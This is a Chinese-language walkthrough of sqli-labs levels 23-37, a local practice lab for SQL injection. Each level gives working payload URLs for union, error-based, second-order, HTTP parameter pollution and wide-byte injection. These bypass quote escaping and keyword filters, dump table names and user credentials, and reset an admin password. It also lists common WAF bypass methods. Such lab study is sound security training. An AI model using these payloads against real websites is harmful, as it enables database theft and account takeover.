sqli-labs(less23-less37)
LESS-23
SQL语句$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";这里主要是在获取id参数时进行了#,--注释符的过滤u
尝试输入:http://127.0.0.1/sqli-labs-master/Less-23/?id=0' union select 1,database(),'3
然后发现
数据库名已被查出
因为此处sql语句为:
select * from users where id='0' union select 1,database(),'3' limit 0,1
Explain:
- id=0,为什么用id=0,这里0或-1都行,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的。只有一个可以输出,为了让我们自己构造的能正常输出,第一个select要没有结果,所以0或者超过数据库所有数据都可以。
2.-1' union select 1,database(),'3,第一个'(单引号)闭合0,第二个闭合后面的。这样将查询结果内容显示在username处。
3.此处可以报错注入,延时注入,可以利用 or '1'='1 进行闭合。
这里的原理主要就是单引号闭合,在less-1中我们介绍了联合查询注入和报错注入,这里都可以用;
1联合查询注入:
http://127.0.0.1/sqli-labs-master/Less-23/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()='1
图片.png
可以爆出表
2:报错注入
http://127.0.0.1/sqli-labs-master/Less-23/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))='1
图片.png
其他参考less1自行构造。
LESS-24
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发sql注入。二次排序注入思路:
-
黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
-
服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
-
黑客向服务端发送第二个与第一次不相同的请求数据信息。
-
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
-
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
此例子中我们的步骤是注册一个admin'#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=' ,也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
1.注册admin'#账号
图片.png
2.注意此时的数据库中出现了admin'#的用户,同时admin的密码为admin
图片.png
3.登录admin'#,并修改密码
图片.png
4.这时并没有修改admin'#的密码,而是修改了admin的密码。原理上面已经提过
LESS-25
本关主要为or and过滤,如何绕过or和and过滤。一般性提供以下几种思路:
1.大小写变形 Or,OR,oR
2.编码,hex,urlencode
3..添加注释/*or*/
4.利用符号 and=&& or=||
下面用4演示一下:
http://127.0.0.1/sqli-labs-master/Less-25/?id=0'|| extractvalue(1,concat(0x7e,database())) -- +
爆出数据库:
可以看到信息,其他信息可以按照前面的题目参考构造。
LESS-25a
不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式:延时注入和联合注入。
http://127.0.0.1/sqli-labs-master/Less-25a/?id=0 union select 1,database(),3 -- +
LESS-26
TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。
本关结合25关,
看看源代码
图片.png
将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
sql语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1
可以写
http://127.0.0.1/sqli-labs-master/Less-26/?id=1' %a0|| '1
Explain:'%a0||'1
同时,我们此处的sql语句变为SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1
第一个 ' 首先闭合id='$id' 中的',%a0是空格的意思,(ps:此前在windows+phpstudy测试,不能解析%a0,)同时%0b也是可以通过测试的,其他的经测试是不行的。||是或者的意思,'1则是为了闭合后面的 ' 。
因为wendows不能解析,只能想想能不能用别的方法了,尝试用()绕过,结果可以
http://127.0.0.1/sqli-labs-master/Less-26?id=1'||extractvalue(1,concat(0x7e,database()))||'1'='1
可以看到已经出现数据库名字
然后继续用()绕过,注意,由于过滤了or,这里的information就要使用双写的方式了
http://127.0.0.1/sqli-labs-master/Less-26/?id=0'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))))||'1'='1
图片.png
爆出了表名,然后使用同样方法获取其他数据,自行构造。
LESS-26a
这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。
sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1
我们构造payload: http://127.0.0.1/sqli-labs-master/Less-26a/?id=1')%0a||1=('1
由于windows不能解析空格,其它构造方法就不在....
LESS-27
本关主要考察将union,select和26关过滤掉的字符。只需要将union和select改为大小写混合就可以突破。其他与26,26a一样,由于windows限制,所以只介绍报错注入,联合查询就不介绍了。
报错注入:
http://127.0.0.1/sqli-labs-master/Less-27/?id=0'||extractvalue(1,concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))||'1'='1
已经爆出表名,获取其他数据方法相似,自行构造。
LESS-27a
本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示。所以我们用联合查询的注入方法,这里换成了windows+wamp测试,发现27,26等不能用的字符可以使用。
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%a0uNion%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0"1
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%a0UnIon%a0SElecT%a01,user(),"3
图片.png
LESS-28
本关与27类似,只是对id参数进行了('id')处理,其他与27一样
http://127.0.0.1/sqli-labs-master/Less-28/?id=100')union%a0select(1),(user()),(3)||('1
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0')%a0uNion%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0('1
图片.png
LESS-28a
本关与28基本一致,只是过滤条件少了几个
对参数进行了处理
图片.png
构造:
http://127.0.0.1/sqli-labs-master/Less-28a/?id=0') uNion%a0sElect 1,user(),('3
图片.png
http://127.0.0.1/sqli-labs-master/Less28a/?id=0')%a0uNion%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0('1
图片.png
参考MYSQL注入天书之服务器(两层)架构
WAF:Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
在SQL注入过程中主流的WAF绕过技术:
1.转换特征字符大小写
2.利用注释绕过
3.编码特征字符绕过
4.分隔重写特征字符绕过
5.利用截断字符绕过
6.变换变量位置绕过
7.针对域名保护的绕近
8.超大数据包绕过
9.转换数据提交方式绕过
10.HPP(HTTP参数污染)绕过
LESS-30
做题之前要先了解一些东西
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。
我们先尝试输入?id=1
图片.png
会发现返回了一个结果,如果输入?id=1&id=2,会返回1还是2呢?
图片.png
可以看到返回的是id=2
Explain:apache(php)解析最后一个参数,即显示id=2的内容。客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。那最终返回客户端的应该id=2的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。Tomcat(jsp)解析第一个参数,即显示id=1的内容。Tomcat功能类似一个WAF所以我们要传入两个id,第一个用来欺骗waf,第二个用来传送给apache。waf是只允许输入数字的,我们在输入数字的时候先给waf看然后检测正常后才转发给我们需要访问的页面
下面我们可以这样构造:
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
图片.png
这样就可以爆出表了,同样方法也可爆出其他内容。
LESS-30
30与29类似,
通过尝试发现应该是对id参数进行了"id"的处理
然后构造:
http://127.0.0.1/sqli-labs-master/Less-30/?id=1&id=0" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
图片.png
然后爆出表,同样可以爆出其他信息。
LESS-31
这三关类型相同,只是对id进行了处理
应该加(" ")
构造:
http://127.0.0.1/sqli-labs-master/Less-31/?id=1&id=0") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
图片.png
参考# MYSQL注入天书之宽字节注入
LESS-32
这题对'进行了过滤,因此我们可以用宽字节注入的方法绕过'的过滤。
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,user(),3 -- +
这样构造之后就可以查出数据库信息,使用联合查询的方法就可以。其他自行构造
LESS-33
本关与上关相似,
从源代码中可以看到:
图片.png
此处过滤使用函数addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
Addslashes()函数和我们在32关实现的功能基本一致的,所以我们依旧可以利用%df进行绕过。
Notice:使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。
Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
构造:
http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df' union select 1,user(),3 -- +
LESS-34
本关是post型的注入漏洞,同样的也是将post过来的内容进行了 ' \ 的处理。
首先我们尝试输入' or 1=1 # ,密码随意,看结果如何?
图片.png
结果发现确实进行了'处理
由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。将utf-8转换为utf-16或 utf-32,例如将 ' 转为utf-16为 �' 。我们就可以利用这个方式进行尝试。
图片.png
这样便成功登陆了
原始的sql语句为
@sql="SELECTusername,passwordFROMusersWHEREusername=′
uname' and password='$passwd' LIMIT 0,1";
此时sql语句为
SELECT username, password FROM users WHERE username='�' or 1=1#' and password='$passwd' LIMIT 0,1
Explain:SELECT username, password FROM users WHERE username='�' or 1=1起到作用,后面的则被#注释掉了。而起作用的的语句不论select选择出来的内容是什么与 1=1进行or操作后,始终是1。
也可以爆出其他信息
图片.png
LESS-35
35关和33关是大致的一样的,唯一的区别在于sql语句的不同。
sql="SELECT∗FROMusersWHEREid=id LIMIT 0,1";
区别就是id没有被' "符号包括起来,那我们就没有必要去考虑check_addslashes()函数的意义了,直接提交payload:
图片.png
LESS-36
看下源代码
图片.png
上面的check_quotes()函数是利用了mysql_real_escape_string()函数进行的过滤。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是因mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的。
构造:
http://127.0.0.1/sqli-labs-master/Less-36/?id=0%df' union select 1,user(),database() -- +
LESS-37
本题34关是大致相似的,区别在于处理post内容用的是mysql_real_escape_string()函数,而不是addslashes()函数,但是原理是一样的,上面我们已经分析过原理了,这里就不进行赘述了。
这里用户名输入%df' or 1=1 ,%df转换成utf-16为�' ,即�' or 1=1,密码随意
图片.png
成功登陆
然后可以同样方法爆出信息
图片.png